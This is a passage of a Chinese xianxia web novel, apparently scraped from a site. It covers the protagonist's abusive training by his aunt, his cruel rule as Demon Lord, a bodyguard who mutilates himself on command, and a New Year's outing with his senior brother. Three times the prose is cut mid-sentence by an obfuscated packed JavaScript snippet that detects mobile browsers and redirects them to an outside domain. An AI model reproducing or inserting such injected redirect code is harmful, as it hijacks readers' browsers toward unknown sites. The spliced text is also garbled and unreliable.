“想出去吗?”她突然问了这么一句。 孟惘的眸光微动,继而又暗淡下去,“你想让我去哪,我就去哪。” “想你师兄弟们吗?” “不想。” “为什么?” “他们对我毫无益处。”孟惘麻木道。 “可他们能让你开心,这难道不算益处吗?”百里夏兰勾唇问道,眼底隐隐有幽光浮动。 “既无金钱、能力的辅佐,更不能助我上位,只执着于情感的废物注定不得好死。” “如果有一天你的师兄谢惟死掉了呢?” “正好,只有他先死,我才能安心去完成我未完成的愿望,就算我最后死掉也不会难过,所以他们必须比我先死。” 几回下来他的回答都滴水不漏,是被调教三个多月的成果。 百里夏兰负手朝洞外走去,“孟惘,跟我来。” 孟惘听话地从石床上站起身来…… “啪!” 额头撞在冰冷的石床上立马流出了血,自喉口中涌上一股浓郁腥甜的铁锈味,右半边脸火辣辣的疼,不过很快就没了知觉。 眼球发酸发胀,孟惘眨了眨眼,视线变得窄而模糊,无数个不同颜色和大小的光斑重重叠叠—— 他的右眼失明了。 右耳深处传来一阵阵尖锐的剧痛,她的声音被分割成了千万片,从四面八方混杂着风声灌入自己耳中,伴着阵阵杂乱的嗡鸣,“谁是孟惘?” 可是洞内哪有风。 这次他的右耳和右眼大概伤得很重,很久都没有要恢复的迹象。 但他不在意,前世十八岁的孟惘每次挨打后都会第一时间去想自己哪里答错了,做错了。已经成了习惯。 是了,百里夏兰说过的,丢掉这个恶心的名字。 她叫他“孟惘”,他不该应的。 孟惘扯了扯僵硬红肿的嘴角,笑了。 “你笑什么?” 好像距离隔了很远,过了很久他才接收到百里夏兰的声音。 “我笑我自己。”他轻轻答道。 11. 百里 孟惘也不记得自己又在这个洞内修炼了多久,直到有一天百里夏兰告诉他可以出去了。 他就麻木地跟她到了一座殿外,此殿名叫清音殿。殿后有座桥,后来他改动了一下此处的法场,让这桥上总是下着蒙蒙细雨,并命其名曰风雨桥。 那人将他带到此地后就再也没有出现。 他便每日在此休憩,修炼,看看风雨桥头的荷花。只有这三件事,只有他一个人。值得高兴的是视力和听觉在慢慢恢复正常。 后来突然有一天来了个小女孩儿,管他叫哥哥。 问她名字,她说她叫百里纤纤。 只到他腰部的百里纤纤握着他的手,“纤纤今年八岁了,求姑姑来找哥哥,姑姑说你在这里,果然找到了。” 他有些羡慕这个无忧无虑的小女孩儿,不用挨打,也不用拼命修炼,她不会疼。 孟惘也不想疼。 小姑娘灵力很高,小小年纪习得一套罚溯剑法,是魔界高阶剑法,可惜没有顺手的法器,用的剑承受不住她的灵力。 他就每日抽出一点时间教她练字,画画,背书。 有时拿出匕首将古看看。 “哥哥,既是仙家法器,为何不注入魔气让它为己所用?既然不能为已所用,又留它作甚?”百里纤纤趴在他肩处问道。 孟惘有些愕然地看着她。 当真是,像极了百里夏兰。 或许自己也应和她们一样,凡事都利己,无情也无义。 他摇摇头,低声说道,“仙家法器和魔气水火不相容,不用,拿着看看也好。” “那就炼化它,直到能相容为止。”百里纤纤果决道。 孟惘笑笑,抬手摸了摸她的头。 小姑娘坐在风雨桥头,一袭鹅黄色裙摆融入淡淡的魔气里,伸出手轻点着身旁开得正盛的荷花边儿,头发被雨丝打湿了也无所谓—— “我爹是上任魔尊,当了两百多年就退位让姑姑掌权了。后来遇见我娘,我娘是外族,他们就只有我一个女儿。娘亲也很厉害,在我三岁时他们便一起飞升了。” 百里纤纤觉得很搞笑似的指了指她自己,“听说飞升之后会忘记自己在下界的事,一切都是重新开始,可能是他们觉得飞升之后一定会再爱上彼此,所以就毫不犹豫地都上去了。” 她直接向后仰倒躺在了风雨桥上,轻轻叹了口气,“他们毫不犹豫地选择了忘记我。” 孟惘站在她身边,低下头看她一眼,“飞升之人不得再入下界,未飞升前谁也不确定是否会真的失去记忆,或许他们记得你,盼着你好好修炼,也早些去找他们。” 百里纤纤用胳膊压着眼睛,紧抿着唇,没有说话。 半晌她才轻轻说道,“谢谢你,哥哥。” 其实她心里都懂,百里一族皆是如此,淡情凉薄,在飞升和个人利益面前,亲情又算什么…… 不论是凡人、妖、修士,还是魔族,只要飞升之后,都只有一个称号,就是“神”。 不会再有种族之分,不会再有贫富贵贱,不会再有生老病死,爱别离,怨憎会,求不得。 况且修仙之人的余生一望无尽,总是留在这红尘喧嚣中,又有什么意思呢? 一般资质的人往往需要修炼个三百多年才能飞升,其间要渡两次天劫,没有人会愿意放弃飞升的机会—— 除了魔界的百里绎、百里明南和百里夏兰。 最典型的属七百年前死去的百里绎。 一种极强的征服欲和极大的野心,让他不到七十岁便可飞升,世间无人出其右者,却一直统治了各界整整三百年,直至身死应泽殿。 其实各界都心照不宣,如果他自己不想死,没人能逼得了他。那人明明可以在应泽殿中打开天门直接飞升,可是却选择了自爆法相。 没人能看得懂百里一族。他们嗜杀嗜血,欲念冲天,外族在他们眼中是牲口,天下于他们而言是草芥,上古的血统,骨子里流着厉鬼的血。 …… 魔界的蚀涯洞外荆棘丛生,红色的食人花疯长,一棵被藤蔓绞死的枯树立于洞旁,灰色树枝如触手般垂直着朝天空延伸,洞口有石壁做门,繁杂的黑色阵法覆于其上。 一个小姑娘经传送阵来到了洞前,挥手抛出一个紫黑色法阵的同时两指迅速捏了个法诀,打开洞口的禁制走了进去,石门在她踏进去的瞬间轰然关闭。 穿过阴冷潮湿的窄道,再转个弯,一阵热气携着厚重的血腥味扑面而来,她没忍住皱起眉向后仰了仰头。 缓缓舒出一口气,顺着水流声继续向里走去,再一拐角,一片偌大的血池陡然呈现在眼前。 又闷又热,血腥味冲得人想吐。 只见一个面容瘦削的女子倚着最里面的侧壁,微阖着眼,血水没过了她的胸口,只露出锁骨以上苍白的皮肤。 “姑姑……”来人犹豫着叫了一声。 百里夏兰抬起眼皮,开口第一句话便问道,“你哥哥怎么样?” “哥哥他……还好,我和他玩得很开心,我一会儿还要回去找他。” 闻言她手中幻化出一根银针,伸出手将胸前长发挽到脑后,缓步向百里纤纤走去。 血池被荡起一圈圈不规则的涟漪,随着她逐步靠近岸边,水深也渐渐变浅,胸口和右腰两处的红莲刺青相继露出水面,像是吸饱了血的活物,透出一种带着煞气的红艳,在热气蒸腾中仍依稀可见。 不过与其说是刺青,不如说是她给自己印上的法阵。 百里纤纤连忙将池边备好的干净衣服递给她,不过一个转头的时间,再一眼看去时,那红莲已消失不见。 像是续命的法阵,大概是同这血池一样的功效。 “纤纤。”百里夏兰穿好衣服,将手心覆于她的头顶。 手下小小的身躯微微一震,“姑姑,有何吩咐?” 百里夏兰给了她一颗润泽红亮的透明珠子,“将这个给你哥哥送去,告诉他我两天后会去清音殿。” 百里纤纤小心翼翼地双手接过这颗珠子,只觉接触到它的皮肤都微微发烫,“是。” …… “哥哥哥哥!”百里纤纤端着一盘精致的糕点跑进了清音殿。 孟惘正盘腿在床上打坐,闻声睁开眼睛,只见百里纤纤将糕点端到他的面前,“看我买到什么?” “麻薯?”他露出一个浅浅的笑。 “不止麻薯呢,还有桂花糕、红豆糕、酥果……”百里纤纤一边说道一边挨个指给他看。 一丝落寞自眼中一闪而过…… 之前风乔儿也是这样。 “自己一个人去人间买的吗?” “嗯!”她点点头,然后从储物戒中掏出个血红色的珠子,“还有,姑姑让我给你的,她说她两天后会来。” 孟惘闻言神情一僵,伸出手将那颗珠子拿起来。 “我猜是姑姑让你用它修炼的,虽然不敢耽搁,但这几天姑姑肯定不会让我再来找你了,就花了点时间去凡间给你买些吃的一并带来。” “我用的传送阵,真的只花了一点点时间。”百里纤纤伸手比划着,好似生怕耽误了他的事一样解释道。 “为什么要给我买吃的?”孟惘不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|13702541|144459||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 解地问道。 “因为姑姑说你有胃病,胃疼很难受的。” 百里夏兰? 她是在洞中知道的吗?那为何要告诉百里纤纤? …… 两天后,百里夏兰如期来到殿中。 “血魔珠炼化的怎么样了?” “……三分之一。”孟惘抬手将珠子递给她。 血魔珠的颜色已经比刚拿到手时淡了许多,体积也明显小了一圈。 他知道这并不是那人想要的结果,她既已说是两天后来这儿,那么当然是希望他在这两天内将它完全炼化收归己用。 而不是收到一个只是淡了点颜色、小了一点的珠子。 但这已经是孟惘所能做到的极限了,整整炼了两天两夜,可奈何他体质偏寒,这珠子又热性极强,一旦吸收得快些就会烧断他的灵脉,即便是这样,他也是忍受着剧痛才炼化了三分之一。 血魔珠和他属性相克。 百里夏兰冷着脸将珠子捏在两指间简单看了两眼,猛地捏碎了。 意料之中的疼痛从头部传来,她一只手抓着孟惘的头发,摁着他的头将他狠狠往墙上一撞。 刹时墙被她手上的灵力撞出了的凹槽,血顺着孟惘的眉目流下,混着尘土从额头直到下巴,嘀嗒嘀嗒地砸在光滑的地面上。 有他头上的血,也有百里夏兰手上的血。 之前他挨过很多打,这却是那人第一次情绪失控彻底发怒。 “你知道你为什么总是达不到目标吗?!因为你总是忘不了他们!忘不了他!我说了多少次你要上位然后把他们全杀光结果你根本就没听进去!” 她灵力暴虐,魔气四溢,怒气好似要化作实体将人撕碎。 她用那破风箱般的嗓音嘶吼着,拉扯着,连咳嗽的欲望都被硬生生压下去,气息轻重起伏却从未有过间歇。 百里夏兰全身都在擅抖,手背青筋暴起,双目赤红。 “你到底要我说多少遍!你是魔界百里念,不是那个一无是处的废物!” 其实他本可以用灵力缓冲一下冲击力,虽然他的灵力抵挡不了百里夏兰,但至少可以减轻一下疼痛,也不至于被弄的面目全非。 但是他没有。 虽然怕疼,虽然很疼,但他已没有力气为了保命或维护自己去做些什么事情。 孟惘不想死,但他现在也确实没有活下去的念想。 他甚至觉得那人说的很对。 挨打是他应该受的,百里夏兰有理由打他,他没能力反抗,也确实没什么好反抗的。 她的理由很充分,犯了错,不听话,没能力,就要挨打。 这好像没什么不对,孟惘找不出来她有什么错。 他生来便不通人性,除了骨子里自带的因利己所生的邪念,所有的认知都要靠他人灌输。 就像一张纸,摒去纯粹的恶,他人泼黑便是黑,泼白便是白。 “你别忘了,是谁剥了你的灵丹将你逐出修真界,是谁送你来的。” “他若真心待你,便不会揭穿你身份。他若真有苦衷,也不会拿你生命作赌。他若心念旧情,魔界禁制也阻不了他来偷偷看你一眼。” 孟惘的眼神晃了晃。 对方真的几句话就能打破他所有的希冀,一把刀就能将他的旧伤全部挑开,一个眼神就能将他的伪装通通撕裂,露出化脓腐烂的血肉和仅剩的卑微可笑的自尊,让他丢盔卸甲,一败涂地。 百里夏兰松开手后,孟惘的膝盖立马软了下去,转身脱力地倚在塌陷的残垣上,身子缓缓滑落,最终坐在血泊之中。 12. 副使 三年后…… 魔界总部大堂之上的王座上,坐着一位身穿一袭广袖流金黑袍的年轻男人,他一只手支着下颔,青丝垂落在膝,面若璞玉,眸若深潭,低睥着下面跪伏着的一众魔族。 目光寡淡疏冷,语调散漫柔和,说出的话却让众人不寒而栗,“本尊让你们去调查五境的情况,结果没调查到什么有用的不说,反倒打草惊蛇,让他们更加防备了。” “修真界那帮杂碎胆小的很……”他话说到一半钝了钝,继而冷笑一声,“哦,忘了你们也是杂碎了。” “负责旋灵境的是谁?” 下面跪着的百来个人中有十五个人颤颤巍巍地站起来,排队走到一边。 “把他们的脊柱抽出来当炼法器的材料,尸体找地方扔了。” 话音未落那几个人就直直跪了下去,不停地将头往地上撞,全身颤抖着大喊—— “对不起尊主!对不起!再给我们一次机会……” 旁边的几位理事将他们拖了出去。 “不是——!不是我!是他败露的!不是我啊尊主和我没关系!” 惨烈的求饶声久久回荡在殿中。 其他人都将头紧紧贴在地上,冷汗打湿了地面,在额头与地板相触之处洇成一片水痕,连大气也不敢出。 “姑姑呢?”坐在高位之人又问道。 身旁的理事弯下身子低声在他耳边说了什么。 他听得很是专心,幽黑色的眸子缓缓睁大,里面兴奋之色愈显,最后像个孩子般高兴的笑了起来,转头问道,“真的吗?姑姑要找人陪我?” 弯腰给他说话的理事乍被他这么一看,下意识觉得脖颈一凉,差点以自己脑袋掉了,狠狠咽了口唾沫唤回些知觉,点了点头。 “好,那本尊就等等吧。”他甚为愉悦地说道。 就这样,殿内所有人,陪他等了整整一柱香的时间。 一柱香的时间或许并不算长,但对于那些人来说,简直像是熬了好多年。 负责探查五境的那些人在大堂跪伏着一动不敢动,生怕上面那位等急了又拖出去几个砍了来当消遣。 周遭站着的几位理事更是胆战心惊,毕竟那位已经莫名奇妙给理事院内部“大换血”过好几次了。作为新一轮理事,被统杀的概率极大,一不小心就会被处死。 这任魔尊的处罚不同于往任的是,有失必杀,要杀就牵连数十甚至上百人。且从不将任务分派给同一族内之人。 搞的魔界各族界限被完全打乱,一个个跨族小团体相互抱团取暖当同一条船上的蚂蚱。 有心之人能看出,他是在为攻取五境作准备。这样既能防止魔界内部不同族类分裂、个别魔族势力过大,也能保持甚至加强魔界的团结性。 虽然修真界有五位境主,魔界仅有一位魔尊,但这于魔界而言未必不见得是坏事。因为修真界各境极为疏远,几乎从不相互插手干涉,相当于他们自己将力量分散开来,倒是方便了魔界攻取时采取逐个击破的战术。 又过了一会儿,百里夏兰终于一袭红衣迈入殿中,身后有七位黑衣人随行。 她径直穿过跪在地上的人群走到堂前,吩咐其他人退下,待殿中只剩她、孟惘和这七位黑衣人时,才开口说道—— “这是从噬魔宫选出来的几位死士,选一个当你的副使,剩下的会隐秘跟从你,保护你的安危。” 孟惘垂着眼睛看她,“……保护我的安危?你让我把自己的安危交给别人?” 一时间相对无言。 “今时不同往日,如今你已继位快一年时间……”她好像也觉得这种说法有些编不下去,所以干脆说道,“做事做全套,理应有的还是要有的。” 孟惘意味不明地笑笑,好像看穿了她的真实目的。 他的好姑姑可从来不做无用功。 他简单一眼扫过那七个人,视线倏然停在了一个神色清冷又静默的死士身上。 那人不大一样,虽然都是在微微低着头,但其他人是出于不敢逾矩的尊敬,此人却给孟惘一种出于忠诚的低眉顺目,虽有踏过尸海存活的煞气但并不同旁人一样外露,很会敛其气息。 最主要的是他周身的气势…… “第三个,抬起头。” 对方闻言愣了愣,用了两秒确认确实是在叫他之后,缓缓抬起了头。 水蓝色的眼,带着通透明澈的疏离。 孟惘心跳漏了一拍,下意识呼吸一滞。 太像了。 台下那人措不及防对上他的视线,愣了两秒后自觉僭越,迅速垂下了眼,却仍按他要求保持着抬头的状态。 百里夏兰故意找了这么个人? 还说是从噬魔宫选出来的,哪有这么巧的事? 一条藤蔓从袖中窜出,“啪”得一声当空甩开,直冲那人破空而去,可对方却丝毫没有要躲或要挡的迹象。 “接下。” 几乎是在得到指令的一瞬间,那位死士拔出腰间佩剑,剑身魔气骤显,手腕一翻一道法阵显现,不过眨眼间一套动作凌厉行如流水,“锵”地一声,他竟然接下了那藤蔓的攻击,同时法阵锁住了藤身,让它动弹不得。 看这水平和反应速度,确实是从噬魔宫选出来的。 “……好。”孟惘盯着他的脸,莫不是百里夏兰强行改变了他的容貌,故意弄成这副模样? 死士听到指示,撤了法阵,那藤蔓又钻回他的袖中。 百里夏兰站在一旁看着,没有说话。 孟惘从王座上站起,缓步走了下去,在他身前悠悠站定。 “叫什么?” “回尊主,属下荆连。” 旁边的死士都不自觉放轻了呼吸。 孟惘似乎很烦他死板恭敬的态度,直接捏住他的下巴迫使他与他对视。 那双眸中出现了显而易见的慌乱。 “本尊想让你当副使。” 荆连的眼睛亮了亮。 “但是,”孟惘朝他凑近,唇边勾起一丝笑意,嗓音低沉,“本尊特别恶心你这双眼睛,这可怎么办呢?” 这一刻大殿内连呼吸声都听不到了。 百里夏兰眉头微锁,冷声道,“念儿,别胡闹。” “啊……”他神情失落,眼中却淡漠的不见一丝情感,漫不经心道,“可是真的很想选他呢。” 荆连闻言二话不说抬手剜向自己的右眼,食指迅速穿透眼皮插入眼眶,不料却在此时被强硬地握住了手腕。 孟惘慢慢将他的手拉开,对方右眼的上眼皮俨然一道很深的伤口,鲜血流下染红了那双浅淡如琉璃般的水蓝色眼瞳…… “算了,我更不喜欢瞎子,”他面无表情地松开手,转身朝大堂外走去,与百里夏兰擦肩而过,话却是对荆连说的,“自己处理一下伤口,以后你就住在清音殿的偏殿。” …… 从此荆连作为魔尊百里念的副使,一切听从魔尊指令,负责辅佐处理魔界重大事务。 …… 一日,荆连拿着一封密报推开了清音殿的殿门。 半透明的雾气自一个小巧的香炉中丝丝缕缕地溢出,弥漫在殿中,孟惘正坐在放香炉的小桌旁,一手撑着太阳穴,详和地闭着眼,像是睡着了。 他平日坐在高堂之上,调派命令雷厉风行,魔尊的威压让一众魔族都噤若寒蝉,就算是百里夏兰代理掌权之时,也没有如此之强的调派力和执行力。 但此时的孟惘轻阖着眼,睫毛浓密纤长,面色柔和宁静,过于苍白的脸仍透着丝清甜稚气,毫无攻击性,根本无法跟那个蛮横暴戾喜怒无常的高位者联系在一起。 荆连有些不忍心叫醒他,犹豫着等了一会,想着孟惘如果察觉到生人的气息应该会自己醒来。 结果他竟迟迟不醒。 “尊主……”荆连低声轻唤。 孟惘这才微抬起眼皮,茫然地抬头看着他,眼神涣散没有聚焦。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 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三年前他还只是魔界尉媛城的一个普通魔修。有一次其他族人说百里族的百里念回来了,正在秘密接受百里夏兰的训练,等到修为提上来就能正式继位,到时候,魔界就有真正的魔尊了。 荆连本也不关心统管魔界的是谁,反正有他的任务他就去办,没有就修炼,像他这种修为低劣的小魔修,永远都不会有可能接触到百里一族。 后来一次出巡,他跟随着队伍路过清音殿的后院,看到了站在风雨桥头的孟惘。 他看到他正低头眉目温和地向一旁的百里纤纤说着什么,看到他嘴角荡开的一片柔情暖意。 只那一眼,却蓦地红了眼眶。 好似这并不是他们的初见,而是相隔了上万年的重逢。 无处追究的悲伤从四面八方涌来,泪水模糊了他的视线,只能看到周围人的嘴一张一合—— “那黑衣服的就是百里念吧,我天长得真的……” “松松裆吧大哥,低调点。” “早说了百里一族个个魅魔降世……” “小点声儿啊你们不想活命了?” “看起来年龄好小还没成年的样子?” 他想到他身边去。 没有理由,毫无征兆,一种强烈的欲望和念想,他想到他身边去。 所以一听到为魔尊选死士的噬魔宫开后,他果断地参加了。 同族人都觉得他想出名想疯了。 尉嫒是小族,只有五百多人,对于他们来说,能保全自己的性命不被外族欺压就不错了。至于做魔尊身边的死士这种,都是那些修为高的魔族才会去考虑的事。 从最开始报名的几千人中,陆陆续续有人死掉,有人退出。他断筋错骨,剖肝泣血,饮冰三年,最终成为从噬魔宫走出来的七位死士之一,成了孟惘的副使。 一切不是巧合,只是有人愚笨,偏要不撞南墙不回头,不到黄河不死心,只为心底那错觉般割舍不得的牵念…… 13. 除夕 感觉到有什么东西在轻轻触碰自己的脸颊,孟惘浓黑的睫毛轻颤一下,还未待睁开眼睛就本能地一把握住了那只作乱的手。 他缓缓抬起头,浑浊的视线迅速聚焦,在极短的时间内恢复了清明,睡意全消。 “师兄?”孟惘平静地看着谢惟,仍是抓着他的手没放。 偷摸被抓包的谢惟神色不变,只是问道,“你趴在我床边睡了一夜?” “嗯。”孟惘原本冷淡的神情转瞬即逝,嘴边又浮现出平日甜腻的笑来,乖巧地点点头,又将谢惟的手心贴上自己的侧脸,专心地注视着他,像是在求人夸奖求人顺毛的小狗。 谢惟的唇角浮起一丝微不可察的笑意,就势捏了捏他的脸。 “师兄是被我说梦话吵醒的吗?”孟惘表面镇定,实则担心自己做梦时说了什么不该说的东西。 谢惟应该并不知道他也是从那个世界重生来的,他绝不能露馅。 “你做梦了?”那人反问道。 修士都需要保证耳根清静,心无杂念,所以按理说修仙之人极少做梦。 他勾起唇角,神神秘秘道,“梦到师兄喽。” “……” 谢惟面无表情地用食指骨节敲了他一下。 孟惘笑笑,握住他手腕翻过并指覆上探了探他的灵脉,半晌后松开手,站起身坐在床边,“倒是恢复的挺快,但师尊说你七天之后才能下床活动,精神力要养养。” “七天?”谢惟凝眉,“七天都过年了。” “过年不是正好?温落安今年才入门,这次过年又多了个人。”孟惘的眼睛亮亮的。 “而且你还能带我去看花灯。” 重点果然还是在花灯。 他好似对花灯有种莫名的执念。 五日后的修真界鹅毛大雪纷飞,天地一色,明兰殿前的地面已被白雪覆起了厚厚一层。 风乔儿身穿一袭青衣,外面披着狐裘大氅,双手捧着团雪球,“师弟!过来看!” 在偏殿门前看她玩雪的温落安闻言下了台阶,一脚插入雪地中,略微艰难地在雪地中踱步走向她…… 妖界没有雪,凡间的雪下不到魔界和妖界。 虽然是雪狐,但自从人妖划界之后,他再也没离开过妖界,便也再没有在雪地里走过。 风乔儿嫌他走得太慢,直接捧着白色不明物快步朝他走去,后者立马顿住脚步,受惊似的往后缩了缩。 温落安怕她用雪球砸他。 主要是傅靖元刚被她砸过,直中面门,现在还在一旁的桃树下擦脸。 “喏,你不是狐妖吗,”风乔儿扒拉开他蜷起来的手,将一个雪白的东西放在了他的手中,“我也没见过,凭着感觉捏了一个,不知道像不像。” 温落安低头一看,手中竟然是一个小巧精致的白狐,神色姿态惟妙惟肖,一条狐尾好像在摆动一般,灵气活现。 细致之处都是用灵力雕刻的。 他不禁惊讶道,“师姐,你真巧。” 风乔儿轻笑道,“没有……就是平日里给三师兄做饭做糕点练出来的。” 这个温落安倒是知道,一开始对于她会给孟惘做饭而感到有些震惊,风乔儿和孟惘是差不多的年龄,但就他师姐平日那性格,怎么看也不大像会给人做饭的模样。 “师姐是修道前就会做饭吗?” 修士都辟谷,馋了就去人界买点东西,很少有亲自下厨的,时间长了,即使原本会做饭的也不会做了。 风乔儿微微一顿,很快又带着笑意瞥了他一眼,以平日惯用的玩笑语气道,“我倒是想,可也得有那个条件,你师姐修道之前穷得吃土,哪来的锅啊菜啊什么的。” “后来入门见到了三师兄,知道他有胃病自己又不上心,所以就学了,至少不用总是去人界买了。” 温落安淡淡笑起来,“你对三师兄真好。” 他在雪狐上施了点灵力防止其以后化掉,打算回头把它摆放在殿里。 傅靖元倚在一旁,双手揣在袖子里,老神在在地开口,“乔儿,怎么也不给二师兄弄一个。” 风乔儿斜睨他一眼,“五师弟本体是雪狐,敢问二师兄是什么精,事儿精?” 某事儿精自己把自己埋坑里了,只得转移话题道,“不去看看你大师兄?” “怎么没去,我前天才刚去。” “这几天一直没见小惘,就成日跟你大师兄待一块儿了。” “之前不就这样吗,”她见怪不怪,自顾自蹲下身来不知道在捣鼓什么,言罢又补充道,“成日不正经,被孤立了吧。” 傅靖元反倒低笑出声,“这可不是孤立,你看不出来吗……” “什么?” “你何时见你大师兄对谁这么上心了?我和他相处的时间比你们长的多,以我对他的了解,倘若那日掉入秘境的是我们其中一人,他断不会跟着跳下去的。” 风乔儿的关注点显然错了,头也没抬,“那他会怎么做?” “大概……要把你脑袋敲开看看里面是不是浆糊,”傅靖元低睥着她,无奈地牵了牵嘴角,“小野丫头,油盐不进。” 温落安坐在雪地里,没忍住扬了扬唇,垂下睫毛掩住了眼底的笑意。 “嘁。”她站起身,往傅靖元怀中塞了个东西,转身走了。 傅靖元下意识小心拿起来一看,是一把用雪捏起来的剑,约莫有一个巴掌那么长,从剑身和剑柄上的纹路来看,无疑是他的本命剑“朝生”。他心道不对,转过来一看,果然那剑的后面还刻着几个小字—— “事儿精之剑。” “……” …… 转眼就到了除夕那天。 孟惘睁开眼睛,丝毫不见刚睡醒的困意,他着一身白色里衣翻过身一只手撑在谢惟的颈侧,有些激动地叫道,“师兄师兄。” 谢惟睁眼就是自家师弟甜美精致的脸。 放大版的。 他微微一滞,一双冰绿色眸子危险地眯了眯,“别离我那么近。” “今天除夕,带我去看花灯吧。” 谢惟压着呼吸,忍着一巴掌摁他脸上把他推开的冲动,“你先让开,晚上就带你去。” 孟惘的眼中闪过一丝失落,但还是听话地把手收了回去,然后起身自己去穿外袍。 “还有,以后你就回你殿里睡。”谢惟看着床上轻轻飘动的素色帷帐。 “为什么?”他歪了歪头,“之前有时候不也在一起睡吗?” 孟惘忍不住皱起眉。 这是在防备他? 不对,上一世好像也是这样。 那人虽然对他很好,平时不论是抱是蹭都可以,但就是不能长时间和他一床睡觉,明明十四岁之前还可以的。 对方对此事很坚决,孟惘也很执着—— “为什么不能和你一起睡觉?” 谢惟坐起身,低着头一言不发,一只手穿入乌黑凌乱的头发,指间紧抓一把。 有种憔悴无奈崩溃且想发疯的感觉。 孟惘没忍住笑出了声,“师兄,你怎么啦?” “后悔没修无情道。”谢惟淡淡道,“把外衣给我。” 他不知道话题怎么就突然跳到修道上了,顺手将挂在床尾的衣服递给他,“你……修没修有什么区别吗?” “修为能增进的更快?”孟惘不解道。 “大概受魅妖的干扰小一些。” 怎么又扯上妖了? 谢惟穿上外衣,他说的极为认真,全然不似在开玩笑,孟惘只是觉得话题跳跃的太快有些跟不上,根本没多想—— “你又遇不到魅妖,你喜欢魅妖?” “我不喜欢,你闭嘴。” 孟惘觉得自己失宠了,偏要和他对着干,语气中有诸多不服,“魅妖有什么好的,腻腻歪歪。” 猛地想起来自己在他面前也挺腻歪的,于是又换了个说法—— “嗯……空有皮囊。” 谢惟穿上鞋后快步迈出了月华殿门,头都没回。 独坐床边的正绞尽脑汁地想着还能用什么词来批判魅妖的孟惘,“……” 一道紫红色光线蜿蜒而上,划破漆黑的夜幕,轰然炸响,七彩的烟花绽开,散落漫天璀璨。 紧接着几道烟花接续升空,整个南墟境内灯火通明。 除夕节,花灯夜,火树银花白如昼,爆竹声此起彼伏,人界的钩柳街上车水马龙,热闹非凡。 风乔儿、温落安和傅靖元也是一起来的,只不过人太多还没一会儿便走散了。 他路过各种摊贩,处处都是好吃好喝,以及许多稀奇的物什琳琅满目,还有弹棋、空竹和猜灯谜等活动的周边人满为患…… 孟惘拿着一个凤凰糖画咬得咯嘣作响,谢惟正心觉好笑,突然唇边凑上来一个东西,他偏头一看—— 是已被那人咬掉了半颗头的惨烈凤凰。 那人眉眼弯弯地笑,薄唇抿起一个好看的弧度,周围的灯光柔和地映在他的脸上—— “好吃,你尝尝。” 谢惟的视线却落到了他的唇上,眼神暗了暗。 他张开口,唇瓣碰上孟惘刚咬过的那边,用牙齿轻轻一咬,带到舌尖。 孟惘只觉得他咬得太少,跟小鸡啄米似的,“那么少能尝到甜味?” “嗯。”谢惟用舌尖抵弄着口中的那点糖,直到它彻底化掉。 他们走进一家三鲜面馆。 在等待的过程中,谢惟站起身来,“你等一下,我去买样东西。” 孟惘抬头眼巴巴地看向他,一下子很多问题挤到嘴边,例如“你去哪儿”“买什么东西”“要多久回来”,但由于问题太多犹豫着不知先问哪个,最后只得简单回了个“哦”。 那一抹白色身影从视线中消失后,他眼中的明净和诚挚迅速褪去,周身气质也冷了下来,半撩着眼皮倚着靠背,眼神都没怎么聚焦,低着头无聊地看自己手心的纹路,简直同方才那粘着舍不得让人离开的小狗判若两人。 直到小二把面端了上来,那人都没有回来。 好吧他承认其实也就等了一小会儿,但是实在受不了周围人的视线。 “不知道有没有婚嫁,应该没有,看起来年龄很小。” “想什么呢,没有也得订亲了还轮得到你。” “ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|13702543|144459||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 看他是一个人,你去问问。” “问你妈啊老子男的问这个正常吗?” “刚才看他身边有个很好看的公子,现在也不知道去哪儿了……” 他们悄悄说什么孟惘全都听得到,修仙之人耳目聪敏,七八道视线从四面八方打来,虽然没有恶意,但还是会让他感到身体不适。 不该来这儿吃饭的,还是大街上好,虽然挤死人但至少路人没闲心盯着他的脸看。 忽觉脸侧一股温热暖气,抬头一看,谢惟正站在他的身边,手中拿着一个牛皮纸袋虚贴着他的侧脸。 孟惘的眼中浮现出柔和的笑意,伸手将纸袋接过,打开一看,香气扑鼻,一股热气熨湿了他的眼睑,睫毛轻颤,有些吃惊地问道,“这是……肉油饼吗?” “嗯。”谢惟在他对面坐下。 “是我十一岁的时候你给我买的那种?” 谢惟微微勾起唇角,“是,你吃完面再吃那个,有点烫,吃完带你去河边放灯。” 他好多年没吃这个了,而且只吃过一次。 “你难道专门出去给我买这个的吗?”孟惘又问道。 “……也不是,还买了个小东西,以后会给你。” 那还是专门去给我买东西的啊…… …… 吃完饭,到了河边,他们买了两个祈福灯,挑了一个比较空旷的地方。 放灯的人很多,放眼望去,对面那一线河岸乌压压人山人海,灯火璀璨连成一片直至桥头。 卖灯的人执意要给他们一支笔,说是有什么心愿写在灯上,如果幸运的话灯会飞到天界,被天上的哪个神仙看到后愿望就能实现。 那支笔被孟惘果断拒收了。 他和谢惟都不是那种放个灯还要许愿的人,也不是有什么愿望还要靠着别人来实现的人。 孟惘将祈福灯缓缓托起,看着它晃动着离开指尖,再平稳地飞至空中…… 星光一点融入万千。 